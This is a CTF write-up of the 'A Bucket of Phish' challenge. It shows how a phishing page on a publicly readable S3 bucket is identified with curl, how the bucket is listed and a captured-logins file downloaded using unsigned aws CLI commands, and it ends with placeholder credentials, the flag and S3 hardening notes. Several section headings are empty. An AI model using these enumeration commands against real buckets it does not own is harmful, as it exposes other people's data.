A Bucket of Phish Writeup

Date: 08-01-2026 | Platform: Hackfinity Battle CTF | Difficulty: Easy

Overview

A Bucket of Phish is a cloud security challenge from the Hackfinity Battle CTF event that demonstrates AWS S3 bucket misconfiguration vulnerabilities. This challenge involves identifying a phishing website hosted on Amazon S3, enumerating the bucket contents, and retrieving captured credentials containing the flag.

Room Objectives

This challenge covers cloud security concepts including:

1. Initial Recon

The target domain is a phishing website hosted on AWS S3:

http://darkinjector-phish.s3-website-us-west-2.amazonaws.com

Inspect the website content using curl:

curl http://darkinjector-phish.s3-website-us-west-2.amazonaws.com

The response reveals a phishing login page for "Cmail Webmail" with:

Test the non-existent endpoints:

curl http://darkinjector-phish.s3-website-us-west-2.amazonaws.com/reset-password

This returns a 404 error, confirming the site is static and has no backend functionality.

2. Validate Hosting Type

Check HTTP headers to identify the hosting technology:

curl -I http://darkinjector-phish.s3-website-us-west-2.amazonaws.com

Key Headers:

  • Server: AmazonS3
  • x-amz-id-2 and x-amz-request-id confirm AWS S3
  • Static content with no server-side processing

3. Enumerate the S3 Bucket

From the S3 static website URL format, identify the bucket name:

http://.s3-website-.amazonaws.com

Bucket name: darkinjector-phish

Attempt to list bucket contents without authentication:

aws s3 ls s3://darkinjector-phish --recursive --no-sign-request

Bucket Contents:

  • index.html (4912 bytes) - The phishing page
  • captured-logins-093582390 (1456 bytes) - Credential storage file

4. Retrieve the Flag

Download the captured credentials file:

aws s3 cp s3://darkinjector-phish/captured-logins-093582390 ./ --no-sign-request

Examine the contents:

cat captured-logins-093582390

Captured Credentials:

user,pass
munra@thm.thm,Password123
test@thm.thm,123456
mario@thm.thm,Mario123
flag@thm.thm,THM{this_is_not_what_i_meant_by_public}

Flag: THM{this_is_not_what_i_meant_by_public}

AWS S3 Security Concepts

Static Website Hosting

Bucket Permissions

Common Misconfigurations

Enumeration Techniques

Passive Methods

Active Methods

Security Lessons

Tools Used

AWS S3 Security Best Practices

Access Control

Data Protection

Monitoring and Alerting

Useful Commands

# Inspect website content
curl http://.s3-website-.amazonaws.com

# Check HTTP headers
curl -I http://.s3-website-.amazonaws.com

# List bucket contents (public)
aws s3 ls s3:// --recursive --no-sign-request

# Download public object
aws s3 cp s3:/// ./ --no-sign-request

# Check bucket permissions
aws s3api get-bucket-acl --bucket  --no-sign-request

# List all buckets (if authenticated)
aws s3 ls

# Test bucket existence
aws s3 ls s3:// --no-sign-request 2>/dev/null
            
        

        

Cloud Security Considerations

Shared Responsibility Model

  • AWS Responsibility: Infrastructure security, physical security, network security
  • Customer Responsibility: Data protection, access management, configuration
  • Configuration Errors: Most breaches result from misconfigurations

Common Attack Vectors

  • Misconfigured Buckets: Public access to sensitive data
  • Weak Credentials: Compromised access keys
  • Insufficient Monitoring: Lack of logging and alerting
  • Privilege Escalation: Over-permissive IAM policies